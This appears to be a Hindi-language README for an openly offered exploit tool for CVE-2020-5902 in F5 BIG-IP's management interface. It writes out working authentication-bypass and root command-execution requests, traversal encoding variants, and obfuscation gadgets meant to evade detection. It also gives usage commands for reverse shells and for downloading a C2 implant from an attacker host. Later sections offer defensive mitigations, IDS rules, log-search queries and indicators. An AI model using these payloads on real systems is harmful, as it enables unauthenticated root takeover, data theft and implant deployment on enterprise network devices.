F5 BIG-IP एक एप्लिकेशन डिलीवरी और सुरक्षा प्लेटफ़ॉर्म है जो कॉर्पोरेट वातावरण में व्यापक रूप से उपयोग किया जाता है। CVE-2020-5902 TMUI में एक गंभीर भेद्यता है जो अनपैच किए गए संस्करणों में अनधिकृत पहुंच और दूरस्थ कोड निष्पादन की अनुमति दे सकती है, जो निरंतर अद्यतन और भेद्यता प्रबंधन की आवश्यकता को मजबूत करती है।
F5 BIG-IP के ट्रैफ़िक मैनेजमेंट यूज़र इंटरफ़ेस (TMUI) में पाए गए क्रिटिकल पथ-ट्रैवर्सल/रिमोट कोड एक्ज़ीक्यूशन कमज़ोरी का प्रूफ-ऑफ-कॉन्सेप्ट शोषण उपकरण।
⚠️ केवल अधिकृत पेनिट्रेशन टेस्टिंग और सुरक्षा अनुसंधान के लिए। जिन सिस्टमों के आप मालिक नहीं हैं या जिनके लिखित परीक्षण की अनुमति नहीं है, उनके विरुद्ध अनधिकृत उपयोग अवैध है। इस उपकरण के दुरुपयोग के लिए लेखक कोई जिम्मेदारी नहीं लेता।
F5 BIG-IP एक मल्टी-पर्पज नेटवर्क उपकरणों (लोड बैलेंसर, WAF, एप्लिकेशन डिलीवरी कंट्रोलर) का परिवार है जो दुनिया भर के अधिकांश Fortune 500 कंपनियों, वित्तीय संस्थानों, स्वास्थ्य संगठनों और सरकारी एजेंसियों में तैनात है। ट्रैफ़िक मैनेजमेंट यूज़र इंटरफ़ेस (TMUI) — जिसे कॉन्फिगरेशन उपयोगिता भी कहा जाता है — पोर्ट 443 (या 8443) पर सुलभ वेब-आधारित प्रबंधन पोर्टल है।
जुलाई 2020 में, F5 ने CVE-2020-5902 का खुलासा किया, जो TMUI में एक क्रिटिकल (CVSS 9.8) बिना प्रमाणीकरण के पथ-ट्रैवर्सल कमज़ोरी है, जो दूरस्थ, बिना प्रमाणीकृत हमलावर को अनुमति देती है:
सार्वजनिक खुलासे के दिनों के भीतर, बड़े पैमाने पर शोषण देखा गया, जिसमें राष्ट्र-राज्य अभिनेताओं द्वारा भी शामिल था।
TMUI Apache Tomcat पर बना है और संरक्षित संसाधनों पर प्रमाणीकरण लागू करने के लिए एक सर्वलेट फ़िल्टर का उपयोग करता है। कमज़ोरी इस बात में है कि Tomcat सेमीकोलन-डिलीमिटेड पथ सेगमेंट (;) को कैसे पार्स करता है।
निम्नलिखित अनुरोध पूरी तरह से प्रमाणीकरण को दरकिनार करता है:
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
यह क्यों काम करता है:
/tmui/login.jsp (सामने वाले ; से पहले समाप्त) के रूप में देखता है — जो सार्वजनिक लॉगिन पृष्ठ है — और अनुरोध को अनुमति देता है।/..;/ को एक पथ ट्रैवर्सल (/../) के रूप में प्रोसेस करता है, इससे पहले कि वह डिस्पैच करे।fileRead.jsp सर्वलेट पर बिना प्रमाणीकरण के रूट हो जाता है।┌──────────────────────────────────────────────────────────────────┐
│ क्लाइंट अनुरोध │
│ GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp │
└────────────────────────────┬─────────────────────────────────────┘
│
┌───────────────▼───────────────┐
│ Tomcat सर्वलेट फ़िल्टर │
│ देखता है: /tmui/login.jsp ✓ │
│ (सार्वजनिक एंडपॉइंट → ALLOW) │
└───────────────┬───────────────┘
│
┌───────────────▼───────────────┐
│ Tomcat URL रिज़ॉल्वर │
│ हल करता है: /..;/ → /../ │
│ अंतिम पथ: /tmui/locallb/ │
│ workspace/fileRead.jsp ← 🔓 │
└───────────────┬───────────────┘
│
┌───────────────▼───────────────┐
│ fileRead.jsp (कोई auth जाँच नहीं) │
│ मनमानी फ़ाइलें रूट के रूप में पढ़ता है│
└───────────────────────────────┘
tmshCmd.jsp सर्वलेट (उसी ट्रैवर्सल के माध्यम से भी पहुँच योग्य) command और utilCmdArgs पैरामीटर को सीधे tmsh (BIG-IP प्रबंधन शेल) में भेजता है, जो run util bash -c '...' को लपेटता है। यह बिना प्रमाणीकृत रूट-स्तरीय OS कमांड निष्पादन प्रदान करता है:
POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
command=run+util+bash+-c+'id'&utilCmdArgs=-c+'id'
चरण 1: पुनर्संज्ञान
└─ TCP बैनर ग्रैब (HTTP/TLS फ़िंगरप्रिंट)
└─ SSL प्रमाणपत्र विश्लेषण
└─ HTTP हेडर फ़िंगरप्रिंट (Server, X-Powered-By, Set-Cookie)
└─ /etc/f5-release से BIG-IP संस्करण अनुमान
चरण 2: कमज़ोरी जाँच
└─ 6 ट्रैवर्सल एन्कोडिंग वेरिएंट पर पुनरावृत्ति
└─ 4 ज्ञात-पढ़ने योग्य संतरी फ़ाइलों के विरुद्ध परीक्षण
└─ आउटपुट को ज्ञात संकेतकों (root:x:0:0, BIG-IP, आदि) से मिलान करें
चरण 3: शोषण
├─ वेक्टर A: tmshCmd.jsp (प्राथमिक RCE)
│ └─ कमांड को base64 / hex-encode गैजेट्स के माध्यम से अस्पष्ट किया गया
├─ वेक्टर B: fileRead.jsp + fileName पैरामीटर में कमांड इंजेक्शन
│ └─ OS कमांड fileName पैरामीटर में इंजेक्ट किया गया
└─ वेक्टर C: लॉग पॉइज़निंग (User-Agent इंजेक्शन → access_log पढ़ना)
चरण 4: शोषण के बाद (वैकल्पिक)
├─ इंटरैक्टिव शेल (कमांड REPL)
├─ रिवर्स शेल (4 समवर्ती वन-लाइनर्स)
├─ LFI ब्रूट-फ़ोर्स (30 संवेदनशील पथ, समानांतर)
└─ C2 इम्प्लांट तैनाती (Sliver / Metasploit / कस्टम)
| वेरिएंट | पेलोड |
|---|---|
| मानक | tmui/login.jsp/..;/tmui/... |
| एन्कोडेड सेमीकोलन | tmui/login.jsp/..%3b/tmui/... |
| डबल URL एन्कोड | tmui%2flogin.jsp%2f..%3b%2ftmui%2f... |
| यूनिकोड डॉट-डॉट | tmui/login.jsp/%2e%2e;/tmui/... |
| केस वेरिएशन | TMUI/login.jsp/..;/tmui/... |
| डायरेक्टरी कंफ्यूजन | tmui/login.jsp/..;/tmui/locallb/workspace/../workspace/... |
यह उपकरण प्रति निष्पादन दो ऑबफस्केशन गैजेट्स में से एक लागू करता है, जिससे स्थैतिक हस्ताक्षर का पता लगाना कठिन हो जाता है:
# गैजेट 1 — Base64 एनकोड/डीकोड पाइपलाइन
bash -c {echo,aWQ=}|{base64,-d}|bash
# गैजेट 2 — हेक्स-बाइट printf मूल्यांकन
eval "$(printf '\x69\x64')"
| BIG-IP ब्रांच | कमज़ोर रेंज | पैच किया गया संस्करण |
|---|---|---|
| 15.x | < 15.1.0.4 | ≥ 15.1.0.4 |
| 14.x | < 14.1.2.6 | ≥ 14.1.2.6 |
| 13.x | < 13.1.3.4 | ≥ 13.1.3.4 |
| 12.x | < 12.1.5.2 | ≥ 12.1.5.2 |
| 11.x | < 11.6.5.2 | ≥ 11.6.5.2 |
BIG-IQ, BIG-IQ सेंट्रलाइज़्ड मैनेजमेंट, F5OS, और Traffix SDC इस विशेष CVE से प्रभावित नहीं हैं।
!revshell, !c2, !read, !brute कमांडgit clone https://github.com/DevRafaelprogrammer/F5-BIG-IP.git
cd F5-BIG-IP
pip install requests pycryptodome urllib3
आवश्यकताएँ: Python 3.10+
python CVE-2020-5902.py [-h] [--port PORT] [--proxy URL] [--no-recon]
[--cmd CMD] [--shell] [--lfi-brute]
[--revshell LHOST LPORT]
[--c2-url URL] [--c2-type TYPE] [--c2-args ARGS]
target
# 1. केवल कमज़ोरी जाँच
python CVE-2020-5902.py 192.168.1.100
# 2. कस्टम पोर्ट + एकल कमांड निष्पादन
python CVE-2020-5902.py 192.168.1.100 --port 8443 --cmd "id && uname -a"
# 3. इंटरैक्टिव शेल
python CVE-2020-5902.py 192.168.1.100 --shell
# 4. LFI ब्रूट-फ़ोर्स (30 संवेदनशील पथ पढ़ता है)
python CVE-2020-5902.py 192.168.1.100 --lfi-brute
# 5. रिवर्स शेल कॉलबैक
python CVE-2020-5902.py 192.168.1.100 --revshell 10.0.0.1 4444
# 6. C2 इम्प्लांट तैनात करें (Sliver उदाहरण)
python CVE-2020-5902.py 192.168.1.100 \
--c2-url http://10.0.0.1:8000/implant \
--c2-type linux
# 7. ट्रैफ़िक निरीक्षण के लिए Burp Suite के माध्यम से रूट करें
python CVE-2020-5902.py 192.168.1.100 --proxy http://127.0.0.1:8080
एक बार --shell मोड में, निम्नलिखित विशेष कमांड उपलब्ध हैं:
| कमांड | विवरण |
|---|---|
!revshell <lhost> <lport> | एक साथ 4 रिवर्स शेल वेरिएंट फायर करें |
!c2 <url> <type> [args] | C2 इम्प्लांट डाउनलोड और निष्पादित करें |
!read <path> | LFI के माध्यम से एक मनमानी फ़ाइल पढ़ें |
!brute | 30 संवेदनशील पथों पर ब्रूट-फ़ोर्स करें |
!exit | सत्र समाप्त करें |
<कोई भी OS कमांड> | RCE के माध्यम से निष्पादित करें और आउटपुट प्रिंट करें |
सबसे प्रभावी शमन यह सुनिश्चित करना है कि प्रबंधन इंटरफ़ेस अविश्वसनीय नेटवर्कों से कभी भी पहुँच योग्य न हो:
# BIG-IP: प्रबंधन पहुँच को एक समर्पित VLAN/IP रेंज तक सीमित करें
tmsh modify sys httpd allow replace-all-with { 10.0.0.0/8 192.168.0.0/16 }
tmsh save sys config
वैकल्पिक रूप से, BIG-IP सेल्फ IP कॉन्फ़िगरेशन से, सुनिश्चित करें कि प्रबंधन पोर्ट का कोई बाहरी रूट न हो।
F5 ने एक शमन स्क्रिप्ट प्रकाशित की जो ट्रैवर्सल पैटर्न को ब्लॉक करने के लिए एक Apache RewriteRule जोड़ती है:
# /etc/httpd/conf.d/CVE-2020-5902.conf
RewriteEngine On
RewriteCond %{THE_REQUEST} "([^\ ]+)\x3b" [NC]
RewriteRule ^ - [F,L]
संदर्भ: K52145254 — शमन चरण
निश्चित समाधान BIG-IP को पैच किए गए रिलीज़ में अपग्रेड करना है (देखें प्रभावित संस्करण तालिका)। F5 ने प्रमाणीकरण प्रवर्तन से पहले सेमीकोलन-डिलीमिटेड पथ सेगमेंट को ठीक से पार्स करने के लिए सर्वलेट फ़िल्टर लॉजिक को सही किया।
┌────────────────────────────────────────────────────────────────┐
│ अनुशंसित आर्किटेक्चर │
│ │
│ इंटरनेट ──────► फायरवॉल ──────► DMZ / प्रोडक्शन │
│ │ │
│ │ (सभी ट्रैफ़िक को mgmt पोर्ट्स पर DENY)│
│ │ │
│ जम्प होस्ट ──────► BIG-IP TMUI (पोर्ट 443) │
│ (MFA + VPN) (केवल प्रबंधन VLAN) │
└────────────────────────────────────────────────────────────────┘
मुख्य सिद्धांत:
Self IP पोर्ट लॉकडाउन को Allow None या Allow Defaults पर सेट किया जाना चाहिएयदि BIG-IP प्रबंधन के सामने WAF है (असामान्य लेकिन कुछ आर्किटेक्चर में संभव), तो ब्लॉक करने के लिए नियम जोड़ें:
; वाले अनुरोध..; या %3b से मेल खाने वाले पथ सेगमेंट वाले अनुरोध/tmui/locallb/workspace/ के अनुरोध[ ] BIG-IP को एक निश्चित संस्करण में पैच किया गया
[ ] TMUI इंटरनेट पर उजागर नहीं है (Shodan/Censys से सत्यापित करें)
[ ] प्रबंधन VLAN को प्रोडक्शन से अलग किया गया
[ ] सेल्फ IP पोर्ट लॉकडाउन कॉन्फ़िगर किया गया (Allow None या Allow Defaults)
[ ] प्रबंधन पहुँच पर MFA लागू किया गया
[ ] एसेट मैनेजमेंट सिस्टम में BIG-IP सॉफ़्टवेयर इन्वेंट्री
[ ] स्वचालित कमज़ोरी स्कैनिंग (Tenable/Qualys) में BIG-IP शामिल
[ ] लॉग फ़ॉरवर्डिंग SIEM को कॉन्फ़िगर किया गया (access_log, audit.log)
[ ] नेटवर्क सेग्मेंटेशन: समझौता BIG-IP डोमेन कंट्रोलर्स तक नहीं पहुँच सकता
[ ] घटना प्रतिक्रिया प्लेबुक में नेटवर्क डिवाइस समझौता परिदृश्य शामिल
# पथ ट्रैवर्सल प्रयासों का पता लगाएं (सेमीकोलन बायपास)
alert http any any -> $HOME_NET 443 (
msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal";
flow:to_server,established;
content:"tmui"; http_uri; nocase;
content:"..;"; http_uri;
content:"workspace"; http_uri; nocase;
reference:cve,2020-5902;
sid:9000001; rev:1;
)
# एन्कोडेड सेमीकोलन वेरिएंट का पता लगाएं
alert http any any -> $HOME_NET 443 (
msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal (encoded)";
flow:to_server,established;
content:"tmui"; http_uri; nocase;
content:"%3b"; http_uri; nocase;
content:"fileRead"; http_uri; nocase;
reference:cve,2020-5902;
sid:9000002; rev:1;
)
# BIG-IP एक्सेस लॉग में ट्रैवर्सल प्रयासों की खोज करें
grep -iE "(\.\.;|%2e%2e|%252e|\.\.%3b|%2e%2e%3b)" /var/log/httpd/access_log
# कमज़ोर एंडपॉइंट्स पर सफल हिट्स देखें
grep -iE "(fileRead\.jsp|tmshCmd\.jsp|workspace)" /var/log/httpd/access_log | \
grep -v "^10\.\|^192\.168\.\|^172\.1[6-9]\.\|^172\.2[0-9]\.\|^172\.3[0-1]\."
index=network sourcetype=f5:bigip:access
(uri_path="*..;*" OR uri_path="*%3b*" OR uri_path="*%2e%2e*")
(uri_path="*workspace*" OR uri_path="*fileRead*" OR uri_path="*tmshCmd*")
| eval risk=if(status=200, "HIGH", "MEDIUM")
| stats count by src_ip, uri_path, status, risk
| sort -count
URL पैटर्न:
/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
/tmui/login.jsp/%2e%2e;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..%3b/tmui/locallb/workspace/fileRead.jsp
सामान्य हमलावर उद्देश्य (पहुँच की गई फ़ाइलें):
/etc/passwd — क्रेडेंशियल हार्वेस्टिंग
/config/bigip.conf — VPN/रूटिंग कॉन्फ़िगरेशन एक्सफ़िल्ट्रेशन
/config/bigip.license — लाइसेंस कुंजी चोरी
/config/bigip_user.conf — स्थानीय व्यवस्थापक खाता गणना
/root/.bash_history — ऐतिहासिक कमांड टोही
| तिथि | घटना |
|---|---|
| 2020-06-30 | F5 को निजी तौर पर सूचित किया गया |
| 2020-07-01 | F5 ने सलाह (K52145254) और पैच जारी किए |
| 2020-07-03 | ट्विटर पर सार्वजनिक PoC जारी किया गया |
| 2020-07-04 | कई खतरा खुफिया फर्मों द्वारा बड़े पैमाने पर शोषण देखा गया |
| 2020-07-06 | CISA ने आपातकालीन निर्देश 20-03 जारी किया जिसमें संघीय पैच अनिवार्य किया गया |
| 2020-07-09 | राष्ट्र-राज्य अभिनेताओं (APT) द्वारा जंगल में शोषण की पुष्टि की गई |
| 2020-07-15 | लगभग 8,000 BIG-IP उदाहरण अभी भी अपैच्ड (Shodan) |
| 2020-08-xx | रैनसमवेयर समूहों ने अपैच्ड BIG-IP उपकरणों को निशाना बनाना शुरू किया |
यह उपकरण केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा मूल्यांकन के लिए प्रदान किया गया है। इसका उद्देश्य है:
**स्पष्ट लिखित अनुमति के बिना सिस्टम के विरुद्ध इस उपकरण का उपयोग करना कंप्यूटर फ्रॉड एंड अब्यूज एक्ट (CFAA), यूके कंप्यूटर मिसयूज़ एक्ट, ब्राज़ील की Lei Nº 12.737/2012 (Lei Carolina Dieckmann), और दुनिया भर के अधिकांश न्यायक्षेत्रों में समकक्ष कानूनों के तहत एक आपराधिक अपराध है।
इस रिपॉजिटरी के लेखक और योगदानकर्ता इस सॉफ़्टवेयर के दुरुपयोग से होने वाली किसी भी क्षति, कानूनी परिणामों या अन्य हानि के लिए कोई जिम्मेदारी स्वीकार नहीं करते।
सुरक्षा अनुसंधान समुदाय के लिए बनाया गया। अपने सिस्टम को पैच करें। अपने नेटवर्क की सुरक्षा करें।